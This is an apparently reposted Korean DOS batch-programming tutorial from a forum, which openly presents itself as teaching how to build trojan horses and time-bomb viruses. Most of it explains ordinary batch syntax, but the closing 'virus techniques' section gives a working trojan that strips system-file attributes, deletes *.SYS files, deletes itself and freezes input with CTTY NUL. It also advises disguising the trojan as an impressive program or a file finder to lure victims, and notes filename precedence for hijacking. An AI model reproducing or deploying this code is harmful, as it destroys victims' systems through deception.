쉘[도스] [문법] 배치 프로그래밍

황제낙엽 2010.07.23 17:09 조회 수 : 84 추천:61

sitelink1 http://cafe.naver.com/mynet.cafe?iframe_...ticleid=13 
sitelink2  
sitelink3  
extra_vars6  

추억의 배치 프로그래밍!!

 

배치화일 프로그래밍 기법을 이용한 트로이목마&시한폭탄 바이러스를
만들어 봅시다.
실제 사용하는 트로이목마&시한폭탄 바이러스는 본인이 직접 개발한 것들로
아주 독창적인 것으로 그 누구도 아직 만들지 못한 것들이죠.
많은 도움 되길 바랍니다.

구어체로 구성하여 보시기 좋을듯 합니다.

이제부터 "배치화일"을 시작해 봅시다.
일단 기본적인 문법을 쉽게 배워보고 그다음 유틸리티등 소스를 보며
진행하는 방향입니다.

조금씩 진행하고 점점 강화하겠습니다.
첨부터 질리면 곤란하겠죠?
차근 차근 해보자구요.

배치화일의 시작

정의 : 도스의 배치화일은 하나 또는 여러 개의 도스 명령어들로 구성되는 텍스트 화일이다. 배치화일은 확장자가 BAT이다. 라고 정의 됩니다.

여러분이 기존까지 알고있는 배치화일이란게 고작 AUTOEXEC.BAT나 게임같은거 할때 몇개의 명령어를 합쳐놓은것에 불과하다는 정도로만 알고있을겁니다.
하지만 "배치"로 만들수있는 것들은 무척 다양합니다.
우린 바로 이러한 것을 배우고 "배치"로 바이러스를 배우자는게 목적입니다
거기에 해킹에 대한 약간의 지식도 함께 말이죠.

이제 실전으로 들어가죠.

우선 "배치"화일을 어떻게 만들까요?
대부분의 경우 에디터 로 만듭니다.
하지만 순수한 도스에서 만들수도 있습니다.

*하나,화면을 지운후 날짜를 표시하는 프로그램

예)
    COPY CON ddate.BAT 엔터
    CLS
    DATE
    ^Z  <== CTRL + Z 입니다. 이명령을 반드시 줘야 화일을 생성해 냅니다.
    1 FILES COPIED <= 이렇게 되면 된것입니다.

첨보실거에요, COPY CON 이란걸~ COPY 다음에 CON 이 들어가면 이렇게 할 수 있답니다. 아셨죠? 반드시 기억하세요!! 이런 잘 쓰지않는것들이 큰 힘이 되니까요.

자 실행해보면, 화면이 지워진후 날짜가 표시되며 입력을 기다릴겁니다.
여기서 프로그램들속에 포함되어있는, 컴파일러(실행형 파일 변환 프로그램)를 작동해 봅시다.
BAT2EXE TIME.BAT 이렇게 해보시면 TIME.COM 이 생성되어 있을겁니다.
그럼 TIME.COM을 실행시켜 보세요. 더욱 빠른속도로 소스를 안보이면서 실행이 될겁니다.

여러분, AUTOEXEC.BAT를 보면 PROMPT $P$G 라고 쓰여진 줄이있죠?
이것이 있기때문에 우린 디렉토리를 이동할때마다 해당 디렉토리가 표시되는 것입니다.

PROMPT 다음에 여러가지 설정값을 변경시켜 줄수있습니다.

설정값 몇개)
    $b  "|"문자
    $d  날짜표시
    $e  ASCII "escape"문자
    $g  ">"문자
    $h  ASCII "back space"문자
    $i  "<"문자
    $n  현재 사용중 disk drive표시
    $p  사용중은 디렉토리가 명시된 디스크 드라이브 문자
    $q  "="문자
    $t  시간표시
    $v  도스 버전 표시

지금 PROMPT 를 바꿔보세요. 직접 무엇인가 해보는게 중요합니다.
경험이 최고죠!
도스란 괴물은 COM,EXE,BAT 요 세가지것으로 실행합니다.
근데 만약 AAA.COM  AAA.EXE  AAA.BAT라는 이름이 같은 세개의 화일이 같은 디렉토리에 있을때 과연 우선순위가 무엇일까요?
COM->EXE->BAT 순입니다. 반드시 기억!!
이건 아주 중요한 의미를 갖습니다.
우리가 나중에 바이러스를 제작할때 반드시 요긴하게 쓰니까요.
바로 똑같은 화일명으로 숨어서 가로챌수 있단는거죠.

가장 간단한 화일찾기 프로그램을 만들어 봅시다.
배치로짜는 화일찾기 프로그램은 현재 여러가지 방법이 존재하나 가장 간단한 명령을 먼저 소개합니다.
이 방법은 관심만 있었으면 대부분 잘 아실겁니다.

*둘, 간단한 파일찾기 프로그램
예)
    COPY CON FFIND1.BAT <= 에디터로 작성해도 됨, 화일명 변경가능
    @ECHO OFF <=화면에 명령어가 보이지않게 함
    ATTRIB *.* /S | FIND "%1"
    ^Z

한줄이라 간단하죠? 우선 무엇인지 설명을 해보죠.
첫줄에 @ECHO OFF 라고 새로 추가된게 있을겁니다.
이것을 맨 처음에 써주면 배치화일이 실행하면서 내부 명령어들을 밖으로 보이지 않게 하는것입니다.
배치화일은 실행하면 속을 다 내보이며 돌잖아요.
반드시 외워서 항상 사용해야 합니다
일단은 이런게 있다는정도만 알아두시고, 자세한건 계속 다룰겁니다.
BAT2EXE FFIND1.BAT  하시면 FFIND1.COM 이 생성됩니다.
이제 여러분은 자신만의 실행화일을 만들수있습니다.

어떤 프로그램이든지 소스에 주석(개인적으로 작성한 설명)을 달아놓습니다.
그래야 설명이 붙어있어 만든사람도 나중에 보기도 쉽고 고치기도 쉬우니까요
C 에서는 /* 내용 */ 즉, /* 와 */ 를 씁니다만, 배치에서는 REM 을 씁니다

*셋, 주석문 이용한 프로그램
예)
    COPY CON REMSAMPLE.BAT
    @ECHO OFF
    REM 작성자 : 김태봉
    REM 작성일 : 95/02/03
    ..............
    ^Z

이렇게 말입니다.
REM 이 일단 선언되면 뒤에 나오는 내용은 컴파일시 제외됩니다.
아무런 문제는 일으키지 않고요.

지금 우리가 하는 것은 바이러스 제작에 반드시 꼭 쓰는것입니다.
확실히 이해하시기 바랍니다.


기초가 튼튼해야 쓰러지지 않는법!
차근 차근 해보자구요.

2회때 배운 ECHO 명령어에 대해 좀더 알아봅시다.
ECHO 의 옵션으로는 ON / OFF 두가지가 있습니다.
ECHO 는 C언에서의 PRINTF 함수나 베이직의 PRINT 랑 그 성격이 비슷하다고
볼수있습니다.
실제 그 예를 보겠습니다.

"<=" 표시는 제가 설명하는 부분입니다. 실제 소스에는 없습니다.

예) 간단한 화면표시 프로그램
    HELLO.BAT <= COPY CON 이나 에디터에서 이렇게 만드는건 아시죠?

    @ECHO OFF <= 되도록 이줄은 항상 처음에 위치시키시는거 전에 배웠죠.
    REM       주석을 달때는 REM 잊지마세요.주석달기의 습관화 좋습니다.
    ECHO      ALT + 255 <= 확장 아스키명령
    ECHO.
    ECHO      HELLO!  <= 기냥 아무거나 쓴 문자
    ECHO.
    PAUSE             <= 키입력 기다리는 명령어
    ^Z        <= CTRL + Z

    1FILE(S) COPIED

이제 실행 시켜보세요.

HELLO!  라고 표시될겁니다.
그리고 "PRESS ANY KEY TO CONTINUE..." 라고 표시되면 엔터 한번치세요.

이제 감잡으셨죠? ECHO 다음에 어떤 문자등을 표기하면 튀어나온다는걸~
그리고  ECHO 다음에 . 을 찍은것은 . 이 있으면 그칸은 공란으로 그냥 넘어갑니다. 이걸 잘 활용하면 화면 위치에 글자를 맞추어 출력할수있겠죠?
ECHO. 말구 칸을 띄울수가 있습니다.
바로 요것인데,
ECHO ALT+255 <= ALT키랑 숫자패드의 255를 같이 누르면 한줄을 건너띕니다
문자출력하는것은 앞으로 무진장하게 쓰일것입니다.
자신이 만든 프로그램의 도움말로 쓰일수도 있고 설명으로 쓰이고 그 쓰임새가 많고 반드시 알아야합니다.
맨끝줄에 보이는 PAUSE  는 임의의 키를 누를때까지 잠시멈출수 있게합니다
이것도 용도가 다양합니다.

팁: 배치로 짠 프로그램이 실행하고 있을때 강제로 멈출때는 CTRL+C 입니다
    이것은 꼭 배치만 해당되지 않고 대부분 써먹을수 있습니다.

근데, 문자를 한글로 달고 싶다구요?
C 로짠 소스도 자체한글 없는건 외부에서 완성,조합형 한글을 작동시켜야 하죠?
배치도 마찬가지입니다.
자체한글이 없어서 굳이 한글을 쓰실려면 미리 한글구동 프로그램을 띄워놓으시고 쓰세요.

팁: 소스 처음에 한글구동 프로그램 미리 실행할수있게 지정해 두면 한글이 보이겠죠?

좀더 응용해볼까요?

예) 하드 검사해서 에러나면 수정해서 나오는결과를 크기대로 정렬해서 프린터로 찍는 프로그램

    TEST1.BAT

    @ECHO OFF
    REM   아래거 해석하자면 프린터를 켜라는 얘기입니다.
    PAUSE   TURN ON YOUR PRINTER TO PRINT DISK STATUS
    CHKDSK /F | SORT > PRN
    ^Z

위의 것을 실행하면, PAUSE 다음에 쓴글들이 화면에 튀어나올겁니다.
이때 프린터켜시고 아무거나 누르면 바로 다음줄이 실행되죠.
CHKDSK 가요~~ 후훗~ 알고보니쉽죠?
근데~ | , > 를 모른다고요?
| 은 어떻게 생긴거냐면, 쉬프트 누르고 표시 누르면 나옵니다.
뜻은 엔터 친거나 마찬가지 효과입니다.
즉 | 포함된 줄은 엔터안쳐도 엔터친것처럼 실행이 된다는말씀
그리고 > 은 뒤에 PRN 이나 NUL 혹은 화일 등이 따라올수 있습니다.
그러니까 출력내용을 어느 장치로 출력하라는 명령이죠.
PRN 은 프린터고요, NUL 은 아무것도 아님! 즉 표시하지말라는 거죠.
화일명을 주면 그리로 출력해요~ 화일로!! 햐~~ 굉장한 명령이죠?
둘다 응용가능성이 빵빵합니다.

요걸 좀더 응용하자면, DIR | SORT 해보세요.
디렉토리 목록을 정렬해서 출력할겁니다.
근데 마음대로 정렬을 조절하고 싶다구요?
그럼 여기 방법이 있으니 아래를보세요

* SORT 다음에 옵션값입니다.
    ----------------------
    필드        번호
    화일명       0
    확장자      10
    크기        13
    날짜        24
    시간        34
    ----------------------

이렇게 해보세요.

    DIR | SORT /+34

어떻게변하나요?
시간순서로 주~욱 정렬해서 출력하죠?

다음으로 넘어가서, 2회때 소개된 파일찾기 프로그램있죠?
그것에 대해 분석하고 넘어갑시다.

예) 파일찾기 프로그램의 가장 단순한 유형

    FFIND2.BAT

    @ECHO OFF
    REM    작성자 : 개나소나말이나닭이나
    REM    날짜 : 하루이틀사흘나흘
    REM    기능 : 현재 디스크의 모든 디렉토리를 조사해 *.BAT를 찾는다.
    ATTRIB *.* /S | FIND ".BAT" | MORE <= ".BAT"의 내용을 바꿀수있다.
    ^Z

분석해봅시다.
첫줄지나 둘,세,네째줄은 주석입니다.
그리고 메인을 보면, | 이 얼마나 중요한 역할을 하시는지 아실겁니다.
근데 맨끝에 MORE 는 뭘까요?
MORE 가 들어가면 한 화면씩 넘어가게 만듭니다.
화일찾는데 많을경우 빠르게 화면 넘어가면 안되니까 한 화면씩 보면서
넘기라고 집어넣은 명령이죠.
보시면 아시겠지만 FIND 가 문자열을 잡아냅니다.
그걸 MORE 로 보내죠.
그러니까, 배치화일은 순서에 입각해서 작동한다 이말입니다.
그럼 조건이 안맞으면 되돌리거나 바꿀수없냐구요?
그건 5장에 배우실 "조건 분기"때 다룰겁니다.
그때보면 배치란 정말 강력한거구나 하고 느끼실겁니다.

다음번에 더 강력하고 막강한  파일찾기 배치소스의
다른 유형의 것을 소개해 드리겠습니다.
.


여기 소개된 BAT 화일들은 일일이 입력을 해보십시요.
단문이고 하니 직접 쳐보시는게 아마 좋을듯해서 뺐습니다.
계속되는 연습과 응용이 실력을 만드니까요.
장문같은거나 아주 중요한것들은 올려드릴텐 서운해하지 마세요.

BAT 소스로 작성하고 나서 BAT2EXE 화일명.BAT 하시면 컴파일하여
실행형 화일로 생성해냅니다.

어셈블리로 만든 바이러스 소스는 초보자들께서 다루기 좀 어렵겠지만
원하시는 분들이 계시니 바이러스 본격적으로 다룰때 올려드릴께요~

천천히 자세히 읽어보시면서 따라오시면 어느샌가 자신이 생길겁니다.
과정없는 결과란 없다는 말 아시죠?


연습! 연습! 연습이 가장 중요합니다!!
자기것으로 만드는데 연습이상 좋은건 없으니까요.


이제 배치 프로그래밍 과정의 절반을 넘어섭니다.
배치 프로그래밍이 끝나면 본격적인 바이러스 제작과정으로 넘어가니
기초를 확실히 닦아 놓길 누차 강조합니다.

지금까지 우리는 배치 프로그래밍의 기초를 배웠습니다.
이제부터 진정한 기능을 맛볼 차례입니다.

배치 파라미터 라는 것을 이용하여 명령들이 성공적으로 실행되었는지를 검
사하기위해 사용하는 도스의 IF 명령어를 배워봅시다.

그리고 특정 화일들 집합에 대해서 특정 명령어를 실행시켜주는 FOR 명령어
를 배웁니다. FOR 를 이용하여 *,? 등의 와일드 카드를 사용할수 있습니다.
이제부터 배치에 전문적인 기능을 부여할수 있습니다.

파라미터를 사용하려면 도스가 인식할 수 있는 %0 에서 %9 까지의 참조기호
를 배치화일 안에 미리 정의해야 합니다. 도스는 항상 파라미터 %0에 실행
시키는 배치화일의 이름을 할당합니다. 다음에 도스는 명령행에서 함께 지
정하는 각각의 정보들에 파라미터 기호 %1에서 %9까지를 할당합니다.
예를 들어봅니다.

예) 파라미터 이용한 간단한 예제

    LOVE.BAT

    @ECHO OFF
    ECHO   I %0 YOU, YOU LOVE ME %0.BAT
    ^Z

LOVE.BAT 를 실행하시면  " I LOVE YOU, YOU LOVE ME LOVE.BAT "
이렇게 표시됩니다.
%0 에 LOVE 값이 입력된것이죠.

단, 파라미터 %0은 확장자 BAT는 포함하지 않습니다!!
다음을 한번 봅시다.

예) 간단한 예제 둘.

    SHOW1.BAT

    @ECHO OFF
    ECHO   PARAMETER 1 IS %1
    ECHO   PARAMETER 2 IS %2
    ECHO   PARAMETER 3 IS %3
    ECHO   PARAMETER 4 IS %4
    ECHO   PARAMETER 5 IS %5
    ECHO   PARAMETER 6 IS %6
    ECHO   PARAMETER 7 IS %7
    ECHO   PARAMETER 8 IS %8
    ECHO   PARAMETER 9 IS %9
    ^Z

여기서 이렇게 SHOW1 A B C D E F G H I 실행해보세요.
이런 결과가 나올겁니다.

    PARAMETER 1 IS A
    PARAMETER 2 IS B
    .
    .
    .
    .
    .
    .
    PARAMETER 9 IS I

이해되시죠?
각 파라미터 값에 특정 값이 대입된다는겁니다.
이걸 어디다 쓰냐구요?

널리 알려진 예인데, 다음예를 봅시다.

SAFECOPY AUTOEXEC.BAT AUTOEXEC.SAV

IF EXIST %2 PAUSE %2 ALREADY EXISTS
COPY %1 %2

IF EXIST AUTOEXEC.SAV PAUSE AUTOEXEC.SAV ALREADY EXISTS
COPY AUTOEXEC.BAT AUTOEXEC.SAV

이겁니다.
좀 어렵게 느껴질지 모르겠지만, 파라미터 라는건 바로 이렇게 입력값으로
쓴다는것만 알아두세요.
계속 설명하죠~~


IF 명령어를 사용하여 좀더 응용해 봅시다.

예)IF 와 배치 파라미터를 이용한 화일정렬 프로그램

    SORTNAME.BAT

    @ECHO OFF
    ECHO   PLEASE WAIT........
    DIR | SORT | FIND /V "I" > AA.DAT
    DIR | FIND /V "A.DAT" | SORT /R | FIND "I" > DD.DAT
    IF '%1' == 'A' TYPE AA.DAT
    IF '%1' == 'D' TYPE DD.DAT
    DEL AA.DAT
    DEL DD.DAT
    ^Z

설명합니다.
이 화일은 파이프(|) 와 리디렉션(>)  연산자를 이용했습니다.
많은 것을 정렬하기에 둘째줄에 PLEASE WAIT..... 라고 기다리라는 메세지
를 삽입했습니다.
이러면 컴퓨터가 기다리라니 기다리겠죠?
첫번째는 오름차순 정렬이고 두번째는 내림차순 정렬하라는 뜻입니다.
이렇듯 화일의 SORTING 은 전강좌에서 얘기하였으니 아실겁니다.
> 는 추출된 데이타를 화일로 추출하라는거 아시죠?
이게 배치의 묘미중 하나입니다.
첫번째는 추출된 데이타를 AA.DAT 란 화일로 저장하라는 것입니다.
두번째는 추출된 데이타를 DD.DAT 란 화일로 저장하라는 것입니다.
AA.DAT 와 DD.DAT 는 임시화일로서 화면에 일단 보여준다음
DEL 로 지웁니다. 그래서 DEL 명령을 집어넣은것이죠.
IF 다음에 보시면 ==  가 있죠? = 는 등호인데 왜 ==를 쓰냐고요?
C에서도 그렇듯이 = 하나가 아니라 == 이렇게 두개를 쓰는약속입니다.
엿장수 마음이라나~~~~~~

좀더 쉽게 설명해볼까요?

예) IF EXIST 이용한 화일 존재여부 테스트

    VIEW1.BAT

    @ECHO OFF
    IF EXIST %1 TYPE %1
    IF NOT EXIST %1 ECHO NO FILE %1
    ^Z

여기서 이렇게 실행해봅시다.

VIEW1 CONFIG.SYS <= 임의로 지정하세요.

실행하면 찾았는지 결과를 알려줄겁니다.
VIEW1 다음에 화일명 을 입력하면 그것이 %1 에 대입하는 방식입니다.

좀더 수정을 가해봅시다.

    @ECHO OFF
    IF NOT '%1' == '' IF EXIST %1 TYPE %1
    IF NOT '%1' == '' OF NOT EXIST %1 ECHO NO FILE %1
    IF '%1' == '' ECHO MUST SPECIFY A FILE NAME TO DISPLAY

이렇게 하면 좀더 완벽해집니다.

이걸 응용해봅시다.

컴퓨터 작업을 하다보면 아차 해서 화일을 덮어쓸때가 있죠?
덮어씌우면 복구도 안되고 정말 황당합니다.
이때 미리 방지할 프로그램을 만들어봅시다.
하지만 IF 기능으로는 *,? 를 완벽히 지원못합니다.
다음에 FOR를 배울때 확실해 질겁니다.

예) 안전한 복사 프로그램

    SAFECOPY.BAT

    REM 사용법 C:SAFECOPY SOURCE.DAT TARGET.DAT
    IF NOT '%2' == '' IF EXIST %2 ECHO %2 화일이 존재합니다.
    IF NOT '%1' == '' IF NOT '%2' == '' IF NOT EXIST %2 COPY %1 %2
    IF '%1' == '' ECHO 소스 화일과 목적지 화일을 지정해야 합니다.
    IF NOT '%1' == '' IF '%2' == '' ECHO 목적지 화일을 지정해야 합니다.

사용법은 SAFECOPY 다음에 소스,타겟 화일을 입력하는것입니다.
아직 기능을 덜 활용해서 좀 구식이지만 원리만 알아두세요.
%2 에 지정된 목적 화일이 이미 존재하면 배치화일은 에러메시지를 출력하
고 실행을 끝냅니다.
이 배치화일은 존재하는 화일위에 덮어쓰지 못하게 합니다.


좀전에 추출데이타값을 화일로 받아내는거 보셨죠?
그걸 다시한번 해봅시다.

간단한 예를들어보죠.

TIME 치면 시간이 나올겁니다.
TIME > DATA.DAT 해보시면 DATA.DAT 란 화일에 TIME 의 시간값을
입력받습니다.
이걸 좀더 응용하면, TYPE 명령을 삽입하여 출력할수가 있습니다.
그러니까~ > 란게 출력방향을 지정한다는거!! 화일로 출력할수 있다는걸 아
시는게 중요합니다.

.

이제 슬슬 배치 프로그래밍의 절정기로 접어듭니다.

** GOTO 사용 : 조건분기 작성

GOTO 명령어는 단순히 도스로 하여금 배치화일의 특정한 부분으로 이동하도
록 지시하는 명령이다. GOTO를 사용하려면 배치화일 내의 원하는 특정 위치
에 레이블을 붙여놓아야 한다.
배치화일에 레이블을 붙이는 형식은 다음과 같이 레이블 이름과 콜론을 사
용한다.

:LABEL

여기서 : 의 사용이 중요합니다.

BASIC 프로그래밍에서는 행(10,20,30...) 을 사용했지만 배치에서는 행이
아니라 단순 나열형으로 가다 : 위치에서 지정된 조건등을 받습니다.

지정된 것이란, 예를들어~ GOTO LABEL 이죠.

구체화를 해보겠습니다.

    VIEWVER.BAT

    @ECHO OFF
    GOTO  VIEWVER
    DIR
    :VIEVER
    VER

설명하자면, GOTO 다음에 VIEWVER 이라고 했죠?
그래서 :VIEWVER 로 건너뛴 것입니다.
그뒤로 순서대로 VER 이 실행된 것이고요.
이해하셨나요?

다르게 살펴보면,

    :ONE
    :TEO
    :THREE

이런식이죠~ 다 GOTO 에 의해 "조건분기" 되는것이랍니다.

.

** FOR 명령을 봅시다

다음을 보면,

    VIEWIT.BAT

    @ECHO OFF
    IF NOT '%1' == '' IF EXIST %1 TYPE %1
    IF NOT '%1' == '' IF NOT EXIST %1 ECHO % 화일이없습니다
    IF '%1' == '' ECHO 출력하려는 화일이름을 명령행에서 지정하십시요

이것은 전에 우리가 만든 화일 내용출력 프로그램입니다.
이것을, FOR 와 GOTO 로 좀더 단순하고 강력하게 만들어 봅시다.

만약 TYPE 으로 복수의 화일을 본다면 불가능하겠죠?

그래서 프로그램을 짜보자면,

    @ECHO OFF
    IF NOT '%1' == '' IF EXIST %1 TYPE %1
    IF NOT '%1' == '' IF EXIST %1 TYPE %2
    .
    .
    .
    .
    .
    .
    IF NOT '%9' == '' IF EXIST %9 TYPE %9

이렇게 길어집니다.

하지만,FOR 를 사용해 도스에서도 실행되게 단문으로 작성해보면

    C:FOR %F IN (*.BAT) DO TYPE %F

이렇게  가능해집니다.

.

** SHIFT 사용하기

도스는 배치화일을 실행시킬 때마다 배치화일 명령행에서 입력한 값들을 파
라미터 %1에서 %9까지 차례대로 할당한다. 이러한 파라미터들을 사용하면
배치화일을 보다 효과적으로 사용할 수 있다. 그러나 대부분의 응용 프로그
램에서 9개의 파라미터면 충분하지만 9개 이상의 정보를 배치화일에 전달해
야 할 경우가 더러 있다. 여기서 우리는 배치화일 명령행에서 사용자가 지
정하는 모든 값들을 배치화일이 받아들일 수 있도록 하는 도스의 SHIFT 명
령어를 설명한다. SHIFT를 이용하여 기존의 배치 프로그램을 향상시키자.

SHIFT 이용하기

    SHIFTEX.BAT

    @ECHO OFF
    ECHO %0 %1 %2 %3 %4 %5 %6 %7 %8 %9
    SHIFT
    ECHO %0 %1 %2 %3 %4 %5 %6 %7 %8 %9

이렇게 실행해보자
    SHIFTEX A B C D E F G H I J K L

결과는!!

    SHIFTEX A B C D E F G H I
    A B C D E F G H I J

왜 이렇게 되었을까?

SHIFT 명령어를 사용하면 원래의 %0 값은 왼쪽으로 밀려나고, 원래의 %1값
으로 대치된다. 또한 할당되지 않았던 문자 J가 파라미터 %9에 비로소 할당
된다. 이리하여 배치화일은 10개의 명령행 파라미터들을 받아들일 수 있다.

예를들어보자

SHOW1.BAT

@ECHO OFF
:REPEAT
    SHIFT
    IF '%0' == '' GOTO DONE
    ECHO %0
GORO REPEAT
:DONE

마치 C 등의 언어를 보는듯한 구성이아닌가?
이것을 다음과 같이 출력된다.

SHOW1   A  B   C
A
B
C

설명하자면,
배치화일은 처음에 SHIFT 명령어를 수행하여 첫 배치 파라미터를 %0에 할당
한다. 그다음에는 IF명령어를 사용하여 %0이 NULL값인지를 검사한다.
만일 %0이 NULL 이라면 배치 파라미터들을 모두 출력한 것이므로 실행을 종
료한다. 첫번째 실행에서 %0에는 문자 A가 들어 있으며, 배치화일은 ECHO를
이용하여 이 값을 출력한다. 그 다음에 배치화일은 SHIFT 명령앞에 있는
REPEAT 레이블로 분기하기 위해 GOTO를 실행한다. 이때 SHIFT 명령에 의해
%0은 문자 B를 포함하게 되고, 배치화일은 이것을 출력한다. 배치화일은 이
러한 과정을 반복하여 문자 C를 출력한다. 명령행에 더 이상 남아있는 값이
없기 때문에 SHIFT는 %0에 NULL값을 할당한다. 이것은 IF 명령어에 의해
레이블 DONE으로 분기시킨다.


팁 : 배치화일내에서 다른 배치화일 부르기!!

어떤 프로그램이든 프로그램상의 오류를 가지고 있습니다.
이것을 우리는 버그라 부르죠.
이런 오류는 대개 논리적 착오에 의한 프로그램 제작상의 문제나 실수 등에
의해 기인합니다.
이런 버그를 줄이는것은 무척 중요한 일이기도 합니다.
대부분 배치 프로그래밍에서 많이 실수하는 부분이 있습니다.
화일내에서 다른 배치화일등을 불러서 실행하라는 명령문을 탑재했다칩시다
그냥 작성할경우 위에서 말한 버그가 발생할수 있습니다.
그래서 반드시 CALL 이란 명령어를 써서 하는것이 좋습니다.
예를들면,

외부에 AAA.BAT / BBB.BAT 이렇게 있고 현재 CCC.BAT 를 작성하고 있다고
칩시다.

CCC.BAT

@ECHO OFF
.
.
CALL AAA.BAT
CALL BBB.BAT
.
.

이제 사용법을 아시겠죠?


이제껏 배운것은 이것을 위한 전주곡이라고나 할까........

도스에서의 배치프로그래밍 에서는 현 도스에 널려있을지 모를 유명한 프로그램을
이용하는 방법을 사용할수 있습니다.

컴퓨터 하는 사람치고 노턴 없는사람 없겠죠?

그렇다면 당연히 be.exe 는 있을겁니다.
이것은 배치화일을 확장 시켜줄수 있습니다.
물론 그전에 이미 완벽하게 작성한 프로그램을 사용할수 있으나 때론 이용할 구석이 있는
것들이 있습니다.

예를들어, BE.EXE 로 효과음을 발생할수 있습니다.
이것을 이용하여 일정한 노래정도는 스피커로 흘릴수도 있습니다.

BEEP 사용법
BE BEEP /Dn /Fn /Rn /E
/Dn :  소리의 주기를 지정한다. 1/18초 1단위
/Fn : 소리의 주파수를 지정한다. n은 초당 주기
/Rn : 소리를 n 번 반복한다.
/Wn : 소리 중간에 n/18 초를 기다린다
/E : 주석에서 인용부호로 둘러싸인 부분을 출력한다.

이것말구도 여러가지로 확장하여 화면 긋기,키입력 등등 여러가지로 쓰일수 있으나
대부분 필요한 도구는 현 강의자료와 함께 제공해 드리니 be로 응용이 가능하구나
하는 정도만 알아두세요.


** 바이러스 제작 테크닉!! **
이제부터 게재하는 내용은 각종 테크닉입니다.
초보적인 것부터 고난도까지 차례대로 계속 이야기 할것이니 반드시
알아두기 바랍니다.

* 단 한줄로 컴퓨터 화면 멈춤/ 키 입력 불능 방법

사용 :  CTTY NUL

예) XXX.BAT <= 임의의 화일명
    @ECHO OFF
    CTTY NUL
    ^Z

설명 :  이경우 컴퓨터는 CTTY CON 을 치지않는한 다운된것처럼 보일것입니다.
  CTTY 명령은 주로 PC의 통신포트중의 하나에 달려있는 장치나 터미널을 가진
  사용자들을 위해 만들어진 것입니다.
  CTTY를 원래의 목적으로 쓰지않고 배치화일의 도중에 화면출력을 없앨수있습니다.
  이것은 앞으로 응용할것이나 이거 한줄로 짠 프로그램을 컴파일시켜 써보는것도
  묘미일겁니다.

자~ 아주 무식하고 단순한 트로이목마를 만들어볼까요?
지금 만드는것은 아주 초보적인 수준으로 발견즉시  탐지당할수 있으나
발견즉시 피해를 입히며 자폭할것이니 사용하기는 좋습니다.
아이큐 한 30정도는 될겁니다.

목적 : 침투즉시 시스템 영역 파괴로 부팅불능

@ECHO OFF
ATTRIB  -H -R -S  > NUL  <= 이줄은 시스템화일의 숨김,읽기전용,시스템등의
                                   속성을 해제시켜 지우거나 변형이 가능케합니다.
                                   "> NUL" 은 변형결과가 화면에 안뜨게 하는것입니다.
DEL *.SYS < NUL  <= 모든 시스템 화일을 지워버립니다.
                         다음회에 전체화일을 묻는말없이 지울수있는법을 알려드리죠.
DEL XXX.YYY < NUL <= 본인 스스로 해당 화일명 삭제명령, 역시 보이지않게!!
CTTY NUL   <= 이것까지 추가하면 시스템도 딱! 멈추겠죠? 그래서 부팅해보면 안뜬답니다.
                   하하하~~~~~~~~~
^Z

어떻습니까?
여기에 화면에 어떤 메시지를 띄울수도 있겠죠?

ECHO       " 이 컴퓨터는 부팅영역을 나에게 빼앗겼다!! "

이런식으로요~~ 메롱~~~이나............
아주 간단하면서 효과는 확실하죠?
현재 이건 극히 초보적인 것이나 약간만 응용하여 다른 화일을 지우거나 화일명을
바꾸어놓는 조작을 할수있습니다.
다만 상대 사용자가 바로 발견할수 있다는것이 단점이겠죠?
그래서 이것을 등록하거나 제공하기 앞서 엄청난 것이라는 광고나 어떤 미끼를
던진다면 확실히 물립니다.
소잃고 외양간 고쳐모해~~
하지만 너무 쉽게 드러나 좀 그렇죠?
그래서~~~ 아래를 보십시요.

아래는 간단한 화일 찾기 프로그램입니다.
여기에 인공지능(?) 타이머를 추가해서 강력한 시한폭탄이 되게 만들것이니
일단은 자세히 보아주시고 원리를 보아주시기 바랍니다.
이것은 지금당장이라도 이름만 바꾸어서 컴파일시켜 자료실에 등록도 할수
있는 것입니다.


@echo off
if "%1"=="/?" goto help
if "%1"=="" goto copyright
cd
dir %1 /s/p/w/l/o:n
goto end
:copyright
echo.
echo FileFinder (c) KIM XXX
:help
echo.
echo Usage : filefind [filename]
echo.
:end


다음회에 막강한 타이머가 부착된 시한폭탄 바이러스를 보자구요~ 하하~~
참, 더불어서 각종 배치유틸(*.COM)도 제공하겠습니다.

지금 올린 예제는 극히 기본적인 것입니다.
응용가능성이 높다는걸 아셨겠죠?
계속되는 응용과 연습이 중요합니다.

 

 

번호 제목 sitelink1 글쓴이 날짜 조회 수
75 Unicode Character 'COMMA' (U+002C)   황제낙엽 2011.11.28 51
74 윈도우7 단축키 모음   황제낙엽 2011.03.11 12
73 도스(DOS) 배치 파일을 쉘 스크립트로 변환 http://wiki.kldp.org/HOWTO/html/Adv-Bash...batch.html  황제낙엽 2010.07.23 242
72 [문법] bat(배치)파일 문법 http://blog.naver.com/faceuptoit?Redirec...0004435796  황제낙엽 2010.07.23 68
71 BAT 파일로 프로그램 실행 후 도스창 자동 닫기 http://blog.naver.com/parang3o?Redirect=...0107530173  황제낙엽 2010.07.23 126
70 [Batch]배치파일(.BAT)로, 파일 출력, 텍스트 파일(Text File) 만드는 방법 http://everdream.egloos.com/2971749  황제낙엽 2010.07.23 83
69 Information on batch files   황제낙엽 2010.07.23 80
» [문법] 배치 프로그래밍 http://cafe.naver.com/mynet.cafe?iframe_...ticleid=13  황제낙엽 2010.07.23 84
67 [문법] 배치파일 문법(.bat) http://blog.naver.com/6420h?Redirect=Log...0095322019  황제낙엽 2010.07.23 77
66 Samba 설치   황제낙엽 2009.11.13 134
65 리눅스에서 파일 다운로드   황제낙엽 2009.11.13 13
64 리눅스 os(kernel) version 정보 확인   황제낙엽 2009.11.13 30
63 NetworkManager 관련   황제낙엽 2009.11.12 53
62 Fedora Network Manger(고정IP사용)   황제낙엽 2009.11.02 392
61 Fedora11 에서 Root로 로그인하는 법   황제낙엽 2009.10.30 12
60 Outlook 의 Default 경로   황제낙엽 2009.10.19 10
59 XP 정품 인증 알림창이 계속 뜰때 file   황제낙엽 2009.02.22 52
58 MSVBVM60.DLL file   황제낙엽 2009.02.19 20
57 듀얼코어 패치(INTEL AMD APPLE 총망라) file   황제낙엽 2009.02.01 61
56 [Fedora9] yum update 가 되지 않을 경우   황제낙엽 2008.10.17 14